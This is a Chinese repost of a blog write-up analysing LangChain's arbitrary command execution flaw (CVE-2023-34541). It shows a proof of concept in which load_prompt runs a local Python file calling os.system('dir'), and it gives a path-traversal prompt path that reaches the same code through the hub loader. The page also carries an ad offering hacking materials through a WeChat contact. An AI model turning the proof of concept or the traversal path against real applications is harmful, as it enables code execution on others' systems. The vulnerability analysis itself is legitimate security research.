LangChain 任意命令执行(CVE-2023-34541)_环球精选
2023-06-28 05:21:15 来源:博客园
漏洞简介
LangChain是一个用于开发由语言模型驱动的应用程序的框架。
【资料图】
在LangChain受影响版本中,由于load_prompt函数加载提示文件时未对加载内容进行安全过滤,攻击者可通过构造包含恶意命令的提示文件,诱导用户加载该文件,即可造成任意系统命令执行。
漏洞复现
在项目下编写test.py
from langchain.prompts import load_promptif __name__ == "__main__": loaded_prompt = load_prompt("system.py")
同级目录下编写system.py
执行系统命令dir
import osos.system("dir")
运行test.py
返回了执行系统命令dir
的结果
漏洞分析-_load_prompt_from_file
langchain.prompts.loading.load_prompt
try_load_from_hub
是尝试从给定的路径远程加载文件但是因为我们是加载本地文件,所以接下会跳转到_load_prompt_from_file
langchain.prompts.loading._load_prompt_from_file
在_load_prompt_from_file
根据文件的后缀,当后缀是.py
时 最终会读取该文件并利用exec
去执行
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
① 网安学习成长路径思维导图 ② 60+网安经典常用工具包 ③ 100+SRC漏洞分析报告 ④ 150+网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南+题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集(含答案) ⑧ APP客户端安全检测指南(安卓+IOS)
也就相当于,代码可以简写为
if __name__ == "__main__": file_path = "system.py" with open(file_path, "rb") as f: exec(f.read())
漏洞分析-try_load_from_hub
因为网络的原因一直没有办法复现成功,这里就代码层面进行一个详细的分析
from langchain.prompts import load_promptif __name__ == "__main__": loaded_prompt = load_prompt("lc://prompts/../../../../../../../system.py")
langchain.prompts.loading.load_prompt
langchain.utilities.loading.try_load_from_hub
首先匹配了HUB_PATH_RE = re.compile(r"lc(?Pref@[^:]+)?://(?Ppath.*)")
所以需要满足最开始是lc://
然后对后面的内容进行匹配,要求第一个字段的值是prompts
最后的后缀要在{"py", "yaml", "json"}
中
最后拼接请求的url 可以通过../../../
绕出项目的限制,指向我们设定好的文件,并读取加载实现任意命令执行
漏洞小结
在最新版本上面进行尝试,仍然存在这个漏洞,这个漏洞的本质就是可以加载执行本地或者指定的 python 文件,但是在实际应用中这个问题应该并不是那么好进行利用,因为 python 文件的地址要可控才行。
更多网安技能的在线实操练习,请点击这里>>
关键词:
[责任编辑:xwzkw]
相关阅读
- (2023-06-28)LangChain 任意命令执行(CVE-2023-34541)_环球精选
- (2023-06-28)中国海员版龙舟大赛来咯
- (2023-06-28)天天即时:慕思股份: 关于公司为全资子公司提供担保的公告
- (2023-06-28)今头条!人工智能重塑数字世界 推动数实融合高质量发展
- (2023-06-28)全球连线|中国航空产业生态链具有全球竞争力——访空客中国首席执行官徐岗
- (2023-06-28)环球看热讯:大湾区高质量发展动能澎湃
- (2023-06-28)焦点速看:多家日本车企宣布涨价 部分日产汽车涨价10%
- (2023-06-28)【河北新闻联播】今年我省将建设15个健身与健康融合示范中心
- (2023-06-28)焦点简讯:拧紧“安全阀” 湖南移动开展燃气排查整治
- (2023-06-28)环球观速讯丨大武汉一日丨房车改造成了理发厅,你想体验吗
- (2023-06-28)商务部美大司负责人就美方以涉芬太尼问题为由起诉中国企业答记者问 天天快消息
- (2023-06-28)新冠病毒装配蛋白速度可能越来越慢
- (2023-06-28)消积止咳的“1种水”是什么?
- (2023-06-28)全球速讯:好句摘抄大全优美简短 好句摘抄大全10字
- (2023-06-28)黄大仙资料一码中持2023 黄大仙救世网
- (2023-06-28)视焦点讯!关于愿我的文案
- (2023-06-28)全球观天下!记者:莫拉塔拒绝了沙特的报价,他想继续留在马竞
- (2023-06-28)全球资讯:全民齐分类,昌岗街开展垃圾分类主题宣传活动
- (2023-06-28)轰隆隆类似的词语有 与轰隆隆类似的词语有哪些
- (2023-06-28)世界简讯:冰糖炖雪梨分集剧情介绍 一起来看看
- (2023-06-28)天天视点!2023年NBA选秀:对篮网来说,名为达里克·怀特海德的豪赌!
- (2023-06-28)无锡靠什么赢得了这3000亿差距?|环球微头条
- (2023-06-28)中国移动:5G网络建设已基本完善 未来将全力推动算网深度融合建设
- (2023-06-28)要闻:仙宗大掌门阵容如何搭配 仙宗大掌门阵容搭配技巧
- (2023-06-28)世界讯息:26个工程项目合格!湖北省住建厅厅发布最新公告
- (2023-06-28)世界要闻:兵王小说十大巅峰作品_兵王小说排行榜完本
- (2023-06-28)3D打印义眼为患者打开心灵窗户_世界信息
- (2023-06-28)韩国最强小三:172亿到手,骂我的人都坐牢了!_热资讯
- (2023-06-28)苏州相城区向“土地存量”要“效益增量”
- (2023-06-28)万里汇:1-6月中国卖家海外开店申请量同比增长125.88%-全球观点